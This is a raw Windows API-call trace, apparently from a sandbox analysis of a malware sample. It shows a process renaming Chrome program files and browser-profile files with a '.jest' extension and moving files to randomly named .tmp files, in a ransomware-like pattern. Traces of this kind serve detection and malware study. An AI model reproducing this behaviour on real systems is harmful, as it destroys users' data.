lpFileName="G_hFhTRVexXlUAd8gMJMRSPcuTU2BDhnYu7QVFknJvMPoiRfAcdpUZN6GXQNgHcO3QyGRzdrYTGvcrW75few0ZMf7Cvft4XLRx7t.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G_hFhTRVexXlUAd8gMJMRSPcuTU2BDhnYu7QVFknJvMPoiRfAcdpUZN6GXQNgHcO3QyGRzdrYTGvcrW75few0ZMf7Cvft4XLRx7t.tmp", lpFilePart=0x18e708*="G_hFhTRVexXlUAd8gMJMRSPcuTU2BDhnYu7QVFknJvMPoiRfAcdpUZN6GXQNgHcO3QyGRzdrYTGvcrW75few0ZMf7Cvft4XLRx7t.tmp") returned 0x8e [0146.966] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logo.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logo.png", lpFilePart=0x18e708*="logo.png") returned 0x56 [0146.966] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logo.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G_hFhTRVexXlUAd8gMJMRSPcuTU2BDhnYu7QVFknJvMPoiRfAcdpUZN6GXQNgHcO3QyGRzdrYTGvcrW75few0ZMf7Cvft4XLRx7t.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g_hfhtrvexxluad8gmjmrspcutu2bdhnyu7qvfknjvmpoirfacdpuzn6gxqnghco3qygrzdrytgvcrw75few0zmf7cvft4xlrx7t.tmp")) returned 0 [0146.966] GetLastError () returned 0x2 [0146.966] GetLastError () returned 0x2 [0146.966] SetLastError (dwErrCode=0x2) [0146.966] GetLastError () returned 0x2 [0146.966] SetLastError (dwErrCode=0x2) [0146.966] GetLastError () returned 0x2 [0146.967] SetLastError (dwErrCode=0x2) [0146.967] GetFullPathNameA (in: lpFileName="G_hFhTRVexXlUAd8gMJMRSPcuTU2BDhnYu7QVFknJvMPoiRfAcdpUZN6GXQNgHcO3QyGRzdrYTGvcrW75few0ZMf7Cvft4XLRx7t.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G_hFhTRVexXlUAd8gMJMRSPcuTU2BDhnYu7QVFknJvMPoiRfAcdpUZN6GXQNgHcO3QyGRzdrYTGvcrW75few0ZMf7Cvft4XLRx7t.tmp", lpFilePart=0x18e6e4*="G_hFhTRVexXlUAd8gMJMRSPcuTU2BDhnYu7QVFknJvMPoiRfAcdpUZN6GXQNgHcO3QyGRzdrYTGvcrW75few0ZMf7Cvft4XLRx7t.tmp") returned 0x8e [0146.967] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G_hFhTRVexXlUAd8gMJMRSPcuTU2BDhnYu7QVFknJvMPoiRfAcdpUZN6GXQNgHcO3QyGRzdrYTGvcrW75few0ZMf7Cvft4XLRx7t.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x46685f47, cFileName="hTRVexXlUAd8gMJMRSPcuTU2BDhnYu7QVFknJvMPoiRfAcdpUZN6GXQNgHcO3QyGRzdrYTGvcrW75few0ZMf7Cvft4XLRx7t.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0146.967] GetLastError () returned 0x2 [0146.967] GetLastError () returned 0x2 [0146.967] SetLastError (dwErrCode=0x2) [0146.967] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.968] CoFreeUnusedLibraries () [0146.968] GetTickCount () returned 0x11568e1 [0146.968] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.968] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.968] GetTickCount () returned 0x11568e1 [0146.968] IsWindowVisible (hWnd=0x30268) returned 0 [0146.968] Sleep (dwMilliseconds=0x0) [0146.968] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logocanary.png"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logocanary.png.jest" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logocanary.png.jest")) returned 1 [0146.969] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logocanary.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logocanary.png", lpFilePart=0x18e6d8*="logocanary.png") returned 0x5c [0146.969] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logocanary.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x7000007, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ebb8, ftLastAccessTime.dwLowDateTime=0x1438e10, ftLastAccessTime.dwHighDateTime=0x144dfb0, ftLastWriteTime.dwLowDateTime=0x38, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x2, nFileSizeLow=0x144eae0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0146.969] GetLastError () returned 0x2 [0146.970] VarBstrFromR4 (in: fltIn=0x47944e5e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75932.73") returned 0x0 [0146.970] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0146.970] CoFreeUnusedLibraries () [0146.970] GetTickCount () returned 0x11568e1 [0146.970] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.970] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.970] GetTickCount () returned 0x11568e1 [0146.970] IsWindowVisible (hWnd=0x30268) returned 0 [0146.970] Sleep (dwMilliseconds=0x0) [0146.971] GetFullPathNameA (in: lpFileName="YEiK3Qubmm7nPKGbzSLoe5sRudX_NeX-zfxBudk5Iii3hgUSHNV_knFVNg6bgv0ht_ogvH-Li8kFzX30rbDCbscxip8g0XKnK9 .tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YEiK3Qubmm7nPKGbzSLoe5sRudX_NeX-zfxBudk5Iii3hgUSHNV_knFVNg6bgv0ht_ogvH-Li8kFzX30rbDCbscxip8g0XKnK9 .tmp", lpFilePart=0x18e708*="YEiK3Qubmm7nPKGbzSLoe5sRudX_NeX-zfxBudk5Iii3hgUSHNV_knFVNg6bgv0ht_ogvH-Li8kFzX30rbDCbscxip8g0XKnK9 .tmp") returned 0x8d [0146.971] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logocanary.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logocanary.png", lpFilePart=0x18e708*="logocanary.png") returned 0x5c [0146.971] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logocanary.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YEiK3Qubmm7nPKGbzSLoe5sRudX_NeX-zfxBudk5Iii3hgUSHNV_knFVNg6bgv0ht_ogvH-Li8kFzX30rbDCbscxip8g0XKnK9 .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yeik3qubmm7npkgbzsloe5srudx_nex-zfxbudk5iii3hgushnv_knfvng6bgv0ht_ogvh-li8kfzx30rbdcbscxip8g0xknk9 .tmp")) returned 0 [0146.971] GetLastError () returned 0x2 [0146.971] GetLastError () returned 0x2 [0146.971] SetLastError (dwErrCode=0x2) [0146.971] GetLastError () returned 0x2 [0146.972] SetLastError (dwErrCode=0x2) [0146.972] GetLastError () returned 0x2 [0146.972] SetLastError (dwErrCode=0x2) [0146.972] GetFullPathNameA (in: lpFileName="YEiK3Qubmm7nPKGbzSLoe5sRudX_NeX-zfxBudk5Iii3hgUSHNV_knFVNg6bgv0ht_ogvH-Li8kFzX30rbDCbscxip8g0XKnK9 .tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YEiK3Qubmm7nPKGbzSLoe5sRudX_NeX-zfxBudk5Iii3hgUSHNV_knFVNg6bgv0ht_ogvH-Li8kFzX30rbDCbscxip8g0XKnK9 .tmp", lpFilePart=0x18e6e4*="YEiK3Qubmm7nPKGbzSLoe5sRudX_NeX-zfxBudk5Iii3hgUSHNV_knFVNg6bgv0ht_ogvH-Li8kFzX30rbDCbscxip8g0XKnK9 .tmp") returned 0x8d [0146.972] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YEiK3Qubmm7nPKGbzSLoe5sRudX_NeX-zfxBudk5Iii3hgUSHNV_knFVNg6bgv0ht_ogvH-Li8kFzX30rbDCbscxip8g0XKnK9 .tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4b694559, cFileName="3Qubmm7nPKGbzSLoe5sRudX_NeX-zfxBudk5Iii3hgUSHNV_knFVNg6bgv0ht_ogvH-Li8kFzX30rbDCbscxip8g0XKnK9 .tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0146.972] GetLastError () returned 0x2 [0146.972] GetLastError () returned 0x2 [0146.972] SetLastError (dwErrCode=0x2) [0146.972] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.973] CoFreeUnusedLibraries () [0146.973] GetTickCount () returned 0x11568e1 [0146.973] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.973] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.973] GetTickCount () returned 0x11568e1 [0146.973] IsWindowVisible (hWnd=0x30268) returned 0 [0146.973] Sleep (dwMilliseconds=0x0) [0146.973] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogo.png"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogo.png.jest" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogo.png.jest")) returned 1 [0146.974] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogo.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogo.png", lpFilePart=0x18e6d8*="smalllogo.png") returned 0x5b [0146.974] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogo.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x7000007, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ebb8, ftLastAccessTime.dwLowDateTime=0x1438e10, ftLastAccessTime.dwHighDateTime=0x144dfb0, ftLastWriteTime.dwLowDateTime=0x38, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x2, nFileSizeLow=0x144eae0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0146.974] GetLastError () returned 0x2 [0146.974] VarBstrFromR4 (in: fltIn=0x47944e5e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75932.73") returned 0x0 [0146.975] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0146.975] CoFreeUnusedLibraries () [0146.975] GetTickCount () returned 0x11568e1 [0146.975] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.975] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.975] GetTickCount () returned 0x11568e1 [0146.975] IsWindowVisible (hWnd=0x30268) returned 0 [0146.975] Sleep (dwMilliseconds=0x0) [0146.976] GetFullPathNameA (in: lpFileName="I o3UVr2wJF1HsxLQ1R1-XUjaZSKb-MQsdxG0diBAqJNC4DnUqIJAxlEaacvgoupcr7P1xIZ_wvjOJTVd0soyG0CRb_MQxVYsBE8.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I o3UVr2wJF1HsxLQ1R1-XUjaZSKb-MQsdxG0diBAqJNC4DnUqIJAxlEaacvgoupcr7P1xIZ_wvjOJTVd0soyG0CRb_MQxVYsBE8.tmp", lpFilePart=0x18e708*="I o3UVr2wJF1HsxLQ1R1-XUjaZSKb-MQsdxG0diBAqJNC4DnUqIJAxlEaacvgoupcr7P1xIZ_wvjOJTVd0soyG0CRb_MQxVYsBE8.tmp") returned 0x8e [0146.976] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogo.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogo.png", lpFilePart=0x18e708*="smalllogo.png") returned 0x5b [0146.976] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogo.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I o3UVr2wJF1HsxLQ1R1-XUjaZSKb-MQsdxG0diBAqJNC4DnUqIJAxlEaacvgoupcr7P1xIZ_wvjOJTVd0soyG0CRb_MQxVYsBE8.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i o3uvr2wjf1hsxlq1r1-xujazskb-mqsdxg0dibaqjnc4dnuqijaxleaacvgoupcr7p1xiz_wvjojtvd0soyg0crb_mqxvysbe8.tmp")) returned 0 [0146.976] GetLastError () returned 0x2 [0146.977] GetLastError () returned 0x2 [0146.977] SetLastError (dwErrCode=0x2) [0146.977] GetLastError () returned 0x2 [0146.977] SetLastError (dwErrCode=0x2) [0146.977] GetLastError () returned 0x2 [0146.977] SetLastError (dwErrCode=0x2) [0146.977] GetFullPathNameA (in: lpFileName="I o3UVr2wJF1HsxLQ1R1-XUjaZSKb-MQsdxG0diBAqJNC4DnUqIJAxlEaacvgoupcr7P1xIZ_wvjOJTVd0soyG0CRb_MQxVYsBE8.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I o3UVr2wJF1HsxLQ1R1-XUjaZSKb-MQsdxG0diBAqJNC4DnUqIJAxlEaacvgoupcr7P1xIZ_wvjOJTVd0soyG0CRb_MQxVYsBE8.tmp", lpFilePart=0x18e6e4*="I o3UVr2wJF1HsxLQ1R1-XUjaZSKb-MQsdxG0diBAqJNC4DnUqIJAxlEaacvgoupcr7P1xIZ_wvjOJTVd0soyG0CRb_MQxVYsBE8.tmp") returned 0x8e [0146.977] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I o3UVr2wJF1HsxLQ1R1-XUjaZSKb-MQsdxG0diBAqJNC4DnUqIJAxlEaacvgoupcr7P1xIZ_wvjOJTVd0soyG0CRb_MQxVYsBE8.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x336f2049, cFileName="UVr2wJF1HsxLQ1R1-XUjaZSKb-MQsdxG0diBAqJNC4DnUqIJAxlEaacvgoupcr7P1xIZ_wvjOJTVd0soyG0CRb_MQxVYsBE8.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0146.977] GetLastError () returned 0x2 [0146.977] GetLastError () returned 0x2 [0146.977] SetLastError (dwErrCode=0x2) [0146.978] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.978] CoFreeUnusedLibraries () [0146.978] GetTickCount () returned 0x11568f1 [0146.978] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.978] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.978] GetTickCount () returned 0x11568f1 [0146.978] IsWindowVisible (hWnd=0x30268) returned 0 [0146.978] Sleep (dwMilliseconds=0x0) [0146.978] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogocanary.png"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogocanary.png.jest" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogocanary.png.jest")) returned 1 [0146.981] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogocanary.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogocanary.png", lpFilePart=0x18e6d8*="smalllogocanary.png") returned 0x61 [0146.981] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogocanary.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x7000007, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ebb8, ftLastAccessTime.dwLowDateTime=0x1438e10, ftLastAccessTime.dwHighDateTime=0x144dfb0, ftLastWriteTime.dwLowDateTime=0x38, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x2, nFileSizeLow=0x144eae0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0146.981] GetLastError () returned 0x2 [0146.981] VarBstrFromR4 (in: fltIn=0x47944e60, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75932.75") returned 0x0 [0146.982] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0146.982] CoFreeUnusedLibraries () [0146.982] GetTickCount () returned 0x11568f1 [0146.982] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.982] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.982] GetTickCount () returned 0x11568f1 [0146.982] IsWindowVisible (hWnd=0x30268) returned 0 [0146.982] Sleep (dwMilliseconds=0x0) [0146.983] GetFullPathNameA (in: lpFileName="kqpyyHgHj_M2F4KG59_iknKLFqRVx7Mv1mULR2_Ztlksou-l8 _pM0yGyzURM5gWfhNw0xu5joJJHE3Knes3AD6Yu8iq5-I32Dcwr.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kqpyyHgHj_M2F4KG59_iknKLFqRVx7Mv1mULR2_Ztlksou-l8 _pM0yGyzURM5gWfhNw0xu5joJJHE3Knes3AD6Yu8iq5-I32Dcwr.tmp", lpFilePart=0x18e708*="kqpyyHgHj_M2F4KG59_iknKLFqRVx7Mv1mULR2_Ztlksou-l8 _pM0yGyzURM5gWfhNw0xu5joJJHE3Knes3AD6Yu8iq5-I32Dcwr.tmp") returned 0x8f [0146.983] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogocanary.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogocanary.png", lpFilePart=0x18e708*="smalllogocanary.png") returned 0x61 [0146.983] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogocanary.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kqpyyHgHj_M2F4KG59_iknKLFqRVx7Mv1mULR2_Ztlksou-l8 _pM0yGyzURM5gWfhNw0xu5joJJHE3Knes3AD6Yu8iq5-I32Dcwr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kqpyyhghj_m2f4kg59_iknklfqrvx7mv1mulr2_ztlksou-l8 _pm0ygyzurm5gwfhnw0xu5jojjhe3knes3ad6yu8iq5-i32dcwr.tmp")) returned 0 [0146.983] GetLastError () returned 0x2 [0146.983] GetLastError () returned 0x2 [0146.983] SetLastError (dwErrCode=0x2) [0146.983] GetLastError () returned 0x2 [0146.984] SetLastError (dwErrCode=0x2) [0146.984] GetLastError () returned 0x2 [0146.984] SetLastError (dwErrCode=0x2) [0146.984] GetFullPathNameA (in: lpFileName="kqpyyHgHj_M2F4KG59_iknKLFqRVx7Mv1mULR2_Ztlksou-l8 _pM0yGyzURM5gWfhNw0xu5joJJHE3Knes3AD6Yu8iq5-I32Dcwr.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kqpyyHgHj_M2F4KG59_iknKLFqRVx7Mv1mULR2_Ztlksou-l8 _pM0yGyzURM5gWfhNw0xu5joJJHE3Knes3AD6Yu8iq5-I32Dcwr.tmp", lpFilePart=0x18e6e4*="kqpyyHgHj_M2F4KG59_iknKLFqRVx7Mv1mULR2_Ztlksou-l8 _pM0yGyzURM5gWfhNw0xu5joJJHE3Knes3AD6Yu8iq5-I32Dcwr.tmp") returned 0x8f [0146.984] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kqpyyHgHj_M2F4KG59_iknKLFqRVx7Mv1mULR2_Ztlksou-l8 _pM0yGyzURM5gWfhNw0xu5joJJHE3Knes3AD6Yu8iq5-I32Dcwr.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x7970716b, cFileName="yHgHj_M2F4KG59_iknKLFqRVx7Mv1mULR2_Ztlksou-l8 _pM0yGyzURM5gWfhNw0xu5joJJHE3Knes3AD6Yu8iq5-I32Dcwr.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0146.984] GetLastError () returned 0x2 [0146.984] GetLastError () returned 0x2 [0146.984] SetLastError (dwErrCode=0x2) [0146.997] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.997] CoFreeUnusedLibraries () [0146.997] GetTickCount () returned 0x1156900 [0146.997] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.997] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.997] GetTickCount () returned 0x1156900 [0146.997] IsWindowVisible (hWnd=0x30268) returned 0 [0146.997] Sleep (dwMilliseconds=0x0) [0146.997] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log.jest")) returned 1 [0150.012] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log", lpFilePart=0x18e6d8*="000003.log") returned 0x66 [0150.012] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x5000005, 